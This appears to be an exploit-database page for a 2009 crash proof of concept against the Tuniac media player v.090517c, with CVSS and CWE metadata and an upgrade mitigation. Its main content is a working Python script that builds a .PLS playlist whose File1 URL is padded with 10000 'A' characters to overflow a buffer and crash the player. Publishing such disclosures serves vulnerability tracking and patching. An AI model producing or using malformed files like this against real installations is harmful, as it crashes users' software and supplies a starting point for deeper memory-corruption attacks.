header-logo
Suggest Exploit
vendor:
Tuniac
by:
zAx
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Tuniac
Affected Version From: 090517c
Affected Version To: 090517c
Patch Exists: YES
Related CWE: N/A
CPE: a:tuniac:tuniac
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2009

Tuniac v.090517c (.PLS) Crash PoC

This PoC code creates a .PLS file with a buffer of 10000 'A' characters, which causes a buffer overflow when opened in Tuniac v.090517c, resulting in a crash.

Mitigation:

Upgrade to the latest version of Tuniac.
Source

Exploit-DB raw data:

#!/usr/bin/env python
# Tuniac v.090517c (.PLS) Crash PoC
# By : zAx
# http://sourceforge.net/projects/tuniac/files/tuniac/090517/Tuniac_Setup_090517c.exe/download

buffer = ("[playlist]\x0ANumberOfEntries=1\x0AFile1=http://" + "\x41" * (10000));

f = open('Crash_Poc.PLS','w');
f.write(buffer);
f.close();

# milw0rm.com [2009-09-14]